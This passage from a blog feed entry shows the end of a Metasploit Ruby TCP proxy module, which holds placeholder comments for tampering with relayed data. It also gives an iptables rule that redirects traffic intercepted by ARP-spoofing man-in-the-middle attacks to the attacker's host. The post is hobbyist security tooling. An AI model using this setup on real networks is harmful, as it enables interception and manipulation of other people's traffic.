                &lt;/span&gt;&lt;span class="n"&gt;print_status&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;client connected &amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;peerinfo&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt;
                &lt;/span&gt;&lt;span class="n"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="k"&gt;end&lt;/span&gt;&lt;span class="w"&gt;

        &lt;/span&gt;&lt;span class="c1"&gt;# client disconnected, so we let the Tcp mixin disconnect&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;on_client_close&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
                &lt;/span&gt;&lt;span class="n"&gt;print_status&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;client disconnected &amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;peerinfo&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt;
                &lt;/span&gt;&lt;span class="n"&gt;disconnect&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="k"&gt;end&lt;/span&gt;&lt;span class="w"&gt;

        &lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;on_client_data&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
                &lt;/span&gt;&lt;span class="k"&gt;begin&lt;/span&gt;&lt;span class="w"&gt;
                        &lt;/span&gt;&lt;span class="c1"&gt;# receive from client&lt;/span&gt;&lt;span class="w"&gt;
                        &lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_once&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
                        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;nil?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;or&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;

                        &lt;/span&gt;&lt;span class="c1"&gt;### do something evil with the tcp data here&lt;/span&gt;&lt;span class="w"&gt;

                        &lt;/span&gt;&lt;span class="c1"&gt;# send data to server&lt;/span&gt;&lt;span class="w"&gt;
                        &lt;/span&gt;&lt;span class="n"&gt;sock&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
                        &lt;/span&gt;&lt;span class="c1"&gt;# receive data from server&lt;/span&gt;&lt;span class="w"&gt;
                        &lt;/span&gt;&lt;span class="n"&gt;respdata&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sock&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_once&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
                        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;respdata&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;nil?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;or&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;respdata&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;

                        &lt;/span&gt;&lt;span class="c1"&gt;### do something evil with the tcp data here&lt;/span&gt;&lt;span class="w"&gt;

                        &lt;/span&gt;&lt;span class="c1"&gt;# send data back to client&lt;/span&gt;&lt;span class="w"&gt;
                        &lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;respdata&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
                &lt;/span&gt;&lt;span class="k"&gt;rescue&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;EOFError&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;Errno&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;EACCES&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;Errno&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;ECONNABORTED&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;Errno&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;ECONNRESET&lt;/span&gt;&lt;span class="w"&gt;
                &lt;/span&gt;&lt;span class="k"&gt;rescue&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;Exception&lt;/span&gt;&lt;span class="w"&gt;
                        &lt;/span&gt;&lt;span class="n"&gt;print_status&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Error: &lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="vg"&gt;$!&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;class&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; &lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="vg"&gt;$!&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; &lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="vg"&gt;$!&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;backtrace&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
                &lt;/span&gt;&lt;span class="k"&gt;end&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="k"&gt;end&lt;/span&gt;&lt;span class="w"&gt;


&lt;/span&gt;&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;a class="reference external" href="//f0rki.at/code/msftcpproxy.rb"&gt;src&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;But assuming that we do a mitm attack (like arpspoofing in my case) we get a packet which is not directed at one of our own IP addresses. We can circumvent this by either configuring the IP address on our system or use the firewall to redirect the packet to our own machine:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$&lt;span class="w"&gt; &lt;/span&gt;iptables&lt;span class="w"&gt; &lt;/span&gt;-t&lt;span class="w"&gt; &lt;/span&gt;nat&lt;span class="w"&gt; &lt;/span&gt;-A&lt;span class="w"&gt; &lt;/span&gt;PREROUTING&lt;span class="w"&gt; &lt;/span&gt;-p&lt;span class="w"&gt; &lt;/span&gt;tcp&lt;span class="w"&gt; &lt;/span&gt;--dport&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;80&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-j&lt;span class="w"&gt; &lt;/span&gt;REDIRECT&lt;span class="w"&gt; &lt;/span&gt;--to-port&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;80&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;If you know how to improve this PLEASE contect me via mail/twitter/whatever. If you are the metasploit/ruby guru and still can't think of a better way, also let me know ;).&lt;/p&gt;
</content><category term="coding"></category><category term="metasploit"></category><category term="ruby"></category><category term="mitm"></category></entry></feed>